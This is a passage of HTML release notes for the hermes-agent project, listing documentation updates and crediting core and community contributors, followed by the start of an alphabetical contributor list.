<li><strong>30-day docs overhaul</strong> — full correctness audit, every PR in the window covered, Nous Portal weave, sidebar reorg. (<a href="https://github.com/NousResearch/hermes-agent/pull/33782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33782/hovercard">#33782</a>)</li>
<li>Dedicated Nous Portal integration page and setup guide. (<a href="https://github.com/NousResearch/hermes-agent/pull/31296" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31296/hovercard">#31296</a>)</li>
<li>Providers: move Nous Portal first, Google Gemini OAuth last. (<a href="https://github.com/NousResearch/hermes-agent/pull/31287" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31287/hovercard">#31287</a>)</li>
<li><code>session_search</code> rewrite for single-shape tool. (<a href="https://github.com/NousResearch/hermes-agent/pull/27840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27840/hovercard">#27840</a>)</li>
<li>Kanban: document failure_limit, max_retries, inline create shortcuts, goals &amp; kanban settings. (<a href="https://github.com/NousResearch/hermes-agent/pull/28357" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28357/hovercard">#28357</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28358" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28358/hovercard">#28358</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28359" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28359/hovercard">#28359</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28360" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28360/hovercard">#28360</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28362" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28362/hovercard">#28362</a>)</li>
<li>Kanban Codex lane skill. (<a href="https://github.com/NousResearch/hermes-agent/pull/28430" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28430/hovercard">#28430</a>)</li>
<li>xAI OAuth: note X Premium+ also unlocks Grok OAuth. (<a href="https://github.com/NousResearch/hermes-agent/pull/29055" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29055/hovercard">#29055</a>)</li>
<li>Docs site: Docker audio bridge notes, "Installing more tools in the container", xurl auth HOME in Docker.</li>
<li>Email: clarify gateway vs Himalaya setup. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33634" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33634/hovercard">#33634</a>)</li>
<li>Auth docs: replace stale <code>hermes login</code> references with <code>hermes auth add</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/32859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32859/hovercard">#32859</a>)</li>
</ul>
<hr>
<h2>👥 Contributors</h2>
<h3>Core</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> (lead)</li>
</ul>
<h3>Notable salvages &amp; cherry-picks</h3>
<ul>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a></strong> — s6-overlay container supervision (29 commits salvaged), Node 22 LTS upgrade, build-essential cleanup, <code>gateway run</code> auto-redirect in s6, tee supervised stdout to docker logs, <code>hermes update</code> Docker guidance, build-time SHA stamping</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a></strong> — <code>hermes gui</code> desktop launcher, <code>mouse_tracking</code> DEC mode presets</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a></strong> — Windows installer hardening, <code>--branch</code> flag for <code>hermes update</code>, install.ps1 BOM strip / commit-pin</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a></strong> — Windows <code>dep_ensure</code> bootstrap, Nix package variants (<code>.#messaging</code>, <code>.#full</code>), install-method stamping, ACP browser bootstrap consolidation</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a></strong> — <code>/update</code> slash command, dashboard checkboxes → <code>@nous-research/ui</code>, mobile dashboard polish, collapsible sidebar</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a></strong> — Nix <code>.#desktop</code> packaging, CI test slicing across GH Actions jobs, TUI clipboard copy fix</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a></strong> — doctor section banner + fail-and-issue helpers extraction, post-tag salvage cluster (curator-fallout, kanban SQLite hardening, install world-readable uv dirs, xAI bare-code paste)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a></strong> — Nous JWT inference switch + refresh-token replay fix</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Codename-11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Codename-11">@Codename-11</a></strong> + <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Schwartz10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Schwartz10">@Schwartz10</a></strong> — session control API (REST + SSE + multimodal followup)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Niraven/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Niraven">@Niraven</a></strong> — kanban swarm topology helper</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Interstellar-code/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Interstellar-code">@Interstellar-code</a></strong> — kanban worker visibility endpoints</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adybag14-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adybag14-cyber">@adybag14-cyber</a></strong> — termux cold-start optimizations (multiple PRs)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qike-ms/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qike-ms">@qike-ms</a></strong> — Telegram in-place status edits design</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sprmn24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sprmn24">@sprmn24</a></strong> — ntfy adapter</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jaaneek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jaaneek">@Jaaneek</a></strong> — xAI Web Search provider plugin</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yannsunn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yannsunn">@yannsunn</a></strong> — xAI upstream adapter for <code>hermes proxy</code></li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cybourgeoisie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cybourgeoisie">@Cybourgeoisie</a></strong> — OpenRouter sticky routing via session_id</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/memosr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/memosr">@memosr</a></strong> — Nous Portal base_url allowlist validation</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sunil123135/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sunil123135">@Sunil123135</a></strong> — Windows Docker Desktop compose file</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a></strong> — Docker HOME alignment for dashboard + s6 gateway services</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beardthelion/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beardthelion">@beardthelion</a></strong> — opencode-go anthropic_messages routing</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/YLChen-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/YLChen-007">@YLChen-007</a></strong> — Skills Guard multi-word prompt patterns</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roadhero/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roadhero">@roadhero</a></strong> — env_passthrough GHSA-rhgp-j443-p4rf filter</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zyrixtrex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zyrixtrex">@Zyrixtrex</a></strong> — Google Chat OAuth credential persistence hardening</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a></strong>, <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tomqiaozc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tomqiaozc">@tomqiaozc</a></strong> — defense-in-depth read-deny on credential stores</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PratikRai0101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PratikRai0101">@PratikRai0101</a></strong> — control-plane file write protection</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a></strong>, <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a></strong>, <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zccyman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zccyman">@zccyman</a></strong> — auxiliary fallback ladder components</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ms-alan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ms-alan">@ms-alan</a></strong>, <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ticketclosed-wontfix/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ticketclosed-wontfix">@ticketclosed-wontfix</a></strong>, <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donovan-yohan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donovan-yohan">@donovan-yohan</a></strong> — TUI session orchestrator + follow-ups</li>
<li><strong>@daimon-nous[bot]</strong> — cron per-job profile support</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bisko/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bisko">@bisko</a></strong> — re-pad <code>reasoning_content</code> on cross-provider fallback</li>
</ul>
<h3>All Contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/02356abc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/02356abc">@02356abc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xchainer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xchainer">@0xchainer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xDevNinja/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xDevNinja">@0xDevNinja</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xjackyang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xjackyang">@0xjackyang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xsir0000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xsir0000">@0xsir0000</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0z1-ghb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0z1-ghb">@0z1-ghb</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/8bit64k/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/8bit64k">@8bit64k</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aaronlab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aaronlab">@aaronlab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AceWattGit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AceWattGit">@AceWattGit</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ACR27/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ACR27">@ACR27</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adam91holt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adam91holt">@adam91holt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AdamPlatin123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AdamPlatin123">@AdamPlatin123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ade5954/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ade5954">@Ade5954</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AdityaRajeshGadgil/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AdityaRajeshGadgil">@AdityaRajeshGadgil</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adybag14-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adybag14-cyber">@adybag14-cyber</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hana-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hana-ai">@ai-hana-ai</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alaamohanad169-ship-it/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alaamohanad169-ship-it">@alaamohanad169-ship-it</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alber70g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alber70g">@alber70g</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/albert748/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/albert748">@albert748</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aqilaziz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aqilaziz">@aqilaziz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/argabor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/argabor">@argabor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asdlem/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asdlem">@asdlem</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/avifenesh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/avifenesh">@avifenesh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/awizemann/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/awizemann">@awizemann</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/B0Tch1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/B0Tch1">@B0Tch1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BaxBit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BaxBit">@BaxBit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Beandon13/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Beandon13">@Beandon13</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beardthelion/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beardthelion">@beardthelion</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bensargotest-sys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bensargotest-sys">@bensargotest-sys</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/binhnt92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/binhnt92">@binhnt92</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bird/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bird">@bird</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bisko/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bisko">@bisko</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlackishGreen33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlackishGreen33">@BlackishGreen33</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/booker1207/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/booker1207">@booker1207</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bradhallett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bradhallett">@bradhallett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Brixyy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Brixyy">@Brixyy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brndnsvr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brndnsvr">@brndnsvr</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/btorresgil/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/btorresgil">@btorresgil</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/burjorjee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/burjorjee">@burjorjee</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/carltonawong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/carltonawong">@carltonawong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Carry00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Carry00">@Carry00</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chaconne67/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chaconne67">@chaconne67</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chdlc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chdlc">@chdlc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chromalinx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chromalinx">@chromalinx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ChyuWei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ChyuWei">@ChyuWei</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CipherFrame/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CipherFrame">@CipherFrame</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cmullins70/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cmullins70">@cmullins70</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CNSeniorious000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CNSeniorious000">@CNSeniorious000</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codeblackhole1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codeblackhole1024">@codeblackhole1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Codename-11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Codename-11">@Codename-11</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/colin-chang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/colin-chang">@colin-chang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/counterposition/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/counterposition">@counterposition</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cresslank/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cresslank">@cresslank</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CryptoByz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CryptoByz">@CryptoByz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyb0rgk1tty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyb0rgk1tty">@cyb0rgk1tty</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cybourgeoisie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cybourgeoisie">@Cybourgeoisie</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/daizhonggeng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/daizhonggeng">@daizhonggeng</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/darvsum/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/darvsum">@darvsum</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidcampbelldc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidcampbelldc">@davidcampbelldc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deas">@deas</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dgians/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dgians">@dgians</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dillweed/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dillweed">@dillweed</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DoGMaTiiC/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DoGMaTiiC">@DoGMaTiiC</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donovan-yohan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donovan-yohan">@donovan-yohan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/draplater/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/draplater">@draplater</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dskwe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dskwe">@dskwe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dsr-restyn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dsr-restyn">@dsr-restyn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>,<br>
